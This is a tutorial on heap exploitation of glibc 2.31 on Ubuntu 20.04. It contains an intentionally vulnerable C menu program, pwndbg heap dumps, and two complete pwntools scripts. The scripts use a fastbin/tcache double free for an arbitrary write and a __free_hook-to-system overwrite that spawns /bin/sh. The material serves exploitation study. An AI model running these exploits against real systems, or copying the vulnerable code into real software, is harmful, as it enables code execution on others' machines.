Ubuntu 20.04 Heap Exploitation

Introduction

In this article, we’re going to look at exploiting glibc 2.31 heap allocation in Ubuntu 20.04.

Previously we looked at fastbin exploitation, and tcache exploition in older versions of Ubuntu. It’s recommended to read those articles before this one.

Key points to remember:

  • Fastbins contain a double free check which is relatively simple to bypass by executing free() on another chunk before freeing our initial chunk.
  • The tcache didn’t have a check similar to the above fastbin check in older releases, but that is included in current versions of glibc.
  • The fastbins size field is checked to ensure it’s within the fastbin range (under 0x80).

Vulnerable Application Code

As before, we have a simple application which allows a user to call malloc() and free().

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char target[7] = "target";

int main () {

// Create an array to store heap pointers
  char* heap_array[20];
  for(int i=0; i<sizeof(heap_array)/sizeof(void*); i++)
    heap_array[i] = (char *)0x0;

  setvbuf(stdout,(char *)0x0,2,0);

  printf("puts() @ %p\n",puts);

  int i;
  int ChunkNumber = 0;
  for (i = 1; i < 50; ++i)
  {
      int selection;
      printf("Target : %s\n", target);
      printf("Next chunk number: %d/21 \n", ChunkNumber);
      printf("1) malloc\n");
      printf("2) free\n");
      printf("3) quit\n");
      printf(">");
      scanf("%d", &selection);
  switch(selection){
    case 1:
      // Allow user to call malloc() and write data.
      int mallocSize;
      char inputData[256];
      printf ("malloc size: \n");
      scanf("%d", &mallocSize);
      printf ("input data: \n");
      scanf("%s", inputData);
      char *heapChunk;
      heap_array[ChunkNumber] = (char *) malloc(mallocSize);
      strcpy(heap_array[ChunkNumber],inputData);
      printf("chunk allocated: %d/7 \n", ChunkNumber);
      ChunkNumber++;
      break;
    case 2:
      // Allow user to free() chunk
      printf("Select chunk to free: ");
      scanf("%d", &selection);
      printf("Freeing chunk: %d\n", selection);
      free(heap_array[selection]);
      break;
    case 3:
        exit(0);
      break;
    default:
      printf("Invalid selection\n");
      break;
  }

  }
   
  return(0);
}

Analysing the Heap

The tcache has a set number of chunks it will store before it reverts back to using the fastbin. This is typically 7, but you can verify this using the pwndbg “mp” command:

pwndbg> mp
{
  trim_threshold = 131072,
  top_pad = 131072,
  mmap_threshold = 131072,
  arena_test = 8,
  arena_max = 0,
  n_mmaps = 0,
  n_mmaps_max = 65536,
  max_n_mmaps = 0,
  no_dyn_threshold = 0,
  mmapped_mem = 0,
  max_mmapped_mem = 0,
  sbrk_base = 0x404000 "",
  tcache_bins = 64,
  tcache_max_bytes = 1032,
  tcache_count = 7,
  tcache_unsorted_limit = 0
}

Allocating eight chunks then freeing them confirms this behaviour, with one of the chunks ending up in the fastbin.

pwndbg> vis_heap_chunks 

0x404000	0x0000000000000000	0x0000000000000291	................
0x404010	0x0000000000000007	0x0000000000000000	................
<truncated>
0x4052a0	0x0000000000000000	0x0000000000000021	........!.......
0x4052b0	0x0000000000000000	0x0000000000404010	.........@@.....	 <-- tcachebins[0x20][6/7]
0x4052c0	0x0000000000000000	0x0000000000000021	........!.......
0x4052d0	0x00000000004052b0	0x0000000000404010	.R@......@@.....	 <-- tcachebins[0x20][5/7]
0x4052e0	0x0000000000000000	0x0000000000000021	........!.......
0x4052f0	0x00000000004052d0	0x0000000000404010	.R@......@@.....	 <-- tcachebins[0x20][4/7]
0x405300	0x0000000000000000	0x0000000000000021	........!.......
0x405310	0x00000000004052f0	0x0000000000404010	.R@......@@.....	 <-- tcachebins[0x20][3/7]
0x405320	0x0000000000000000	0x0000000000000021	........!.......
0x405330	0x0000000000405310	0x0000000000404010	.S@......@@.....	 <-- tcachebins[0x20][2/7]
0x405340	0x0000000000000000	0x0000000000000021	........!.......
0x405350	0x0000000000405330	0x0000000000404010	0S@......@@.....	 <-- tcachebins[0x20][1/7]
0x405360	0x0000000000000000	0x0000000000000021	........!.......
0x405370	0x0000000000405350	0x0000000000404010	PS@......@@.....	 <-- tcachebins[0x20][0/7]
0x405380	0x0000000000000000	0x0000000000000021	........!.......	 <-- fastbins[0x20][0]
0x405390	0x0000000000000000	0x0000000000000000	................
0x4053a0	0x0000000000000000	0x000000000001fc61	........a.......	 <-- Top chunk
pwndbg> bins 
tcachebins
0x20 [  7]: 0x405370 —▸ 0x405350 —▸ 0x405330 —▸ 0x405310 —▸ 0x4052f0 —▸ 0x4052d0 —▸ 0x4052b0 ◂— 0x0
fastbins
0x20: 0x405380 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

Next we call malloc() seven times to empty the tcache bin, and call free() on the chunk currently residing in the fastbin. Doing so means the chunk in the fastbin is then also placed in the tcachebin.

Remember the fastbin always points to the data header, whereas the tcache points to the start of user data. Because of this, if we request the tcache chunk we end up overwriting the forward pointer of the fastbin entry (first QWORD of line 2 below).

0x405380	0x0000000000000000	0x0000000000000021	........!....... <-- fastbins[0x20][0]
0x405390	0x0000000000000000	0x0000000000404010	.........@@..... <-- tcachebins[0x20][0/1]
0x4053a0	0x0000000000000000	0x000000000001fc61	........a....... <-- Top chunk
pwndbg> bins 
tcachebins
0x20 [  1]: 0x405390 ◂— 0x0
fastbins
0x20: 0x405380 ◂— 0x0

Next, we need to inject a pointer to memory we wish to overwrite.

Since we’re dealing with a fastbin chunk, 16 bytes will need to be subtracted to account for the chunk header. Another two bytes will need to be subtracted to ensure the forward pointer is set to null.

pwndbg> dq &target-0x18
0000000000403410     0000000000000000 0000000000000000
0000000000403420     0000000000000000 0000000000000000
0000000000403430     0000000000403240 0000000000000000
0000000000403440     0000000000000000 00007ffff7e60850

malloc(24, pack(elf.sym.target – 0x18)) # injects memory address 0x4034a0

0x405380	0x0000000000000000	0x0000000000000021	........!.......	 <-- fastbins[0x20][0]
0x405390	0x00000000004034a0	0x0000000000000000	.4@.............
0x4053a0	0x0000000000000000	0x000000000001fc61	........a.......	 <-- Top chunk
pwndbg> bins 
tcachebins
empty
fastbins
0x20: 0x405380 —▸ 0x4034a0 ◂— 0x0

As in previous examples, calling malloc twice will then allow us to overwrite the target pointer:

chunk allocated: 17
Target : PWND
Next chunk number: 18/21
1) malloc
2) free
3) quit

Exploit Code

To execute in debugging use the following command:

python3 arbitary_write.py NOASLR GDB DEBUG
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("./test")
libc = ELF(b"/lib/x86_64-linux-gnu/libc-2.31.so")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

index = 0
def malloc(size, data):
    global index
    io.sendline(b"1")
    io.sendlineafter(b"malloc size:", f"{size}".encode())
    io.sendlineafter(b"input data:", data)
    index += 1
    return index - 1

def free(index):
    io.recvuntil(b">")
    io.sendline(b"2")
    io.sendlineafter(b"Select chunk to free:", f"{index}".encode())
    io.recvuntil(b">")

io = start()
io.timeout = 2.0

io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil(b">")

# Request 7 chunks
for n in range(7):
    malloc(24, b"A" * 8)
# Request another chunk which lands in fastbin
badchunk = malloc(24, b"B" * 8)

# Fill the 0x20 tcachebin.
for n in range(7):
    free(n)

#put a chunk in the fastbin
free(badchunk)

#empty tcache bin
for n in range(7):
    malloc(24, b"A"*8)

# double free fastbin chunk into tcache
free(badchunk)

# malloc will request the chunk from tcache will still exists in fastbin. Overwrite fastbin FD with target.
malloc(24, pack(elf.sym.target - 0x18))

print(hex(elf.sym.target - 0x18))

malloc(24, b"A"*8 )
malloc(24, "B" * 8 + "PWND")

print("DONE")

io.interactive()

Command Execution

#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("./test")
libc = ELF(b"/lib/x86_64-linux-gnu/libc-2.31.so")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

index = 0
def malloc(size, data):
    global index
    io.sendline(b"1")
    io.sendlineafter(b"malloc size:", f"{size}".encode())
    io.sendlineafter(b"input data:", data)
    index += 1
    return index - 1

def free(index):
    io.recvuntil(b">")
    io.sendline(b"2")
    io.sendlineafter(b"Select chunk to free:", f"{index}".encode())
    io.recvuntil(b">")

io = start()
io.timeout = 2.0

io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil(b">")

# Request 7 chunks
for n in range(7):
    malloc(24, b"A" * 8)
# Request another chunk which lands in fastbin
badchunk = malloc(24, b"B" * 8)

# Fill the 0x20 tcachebin.
for n in range(7):
    free(n)

#put a chunk in the fastbin
free(badchunk)

#empty tcache bin
for n in range(7):
    malloc(24, b"filler")

# double free fastbin chunk into tcache
free(badchunk)

malloc(24, pack(libc.sym.__free_hook - 16))
binsh = malloc(24, "/bin/sh\0")

malloc(24, pack(libc.sym.system))

free(binsh)

print("DONE")

io.interactive()

Resulting command execution: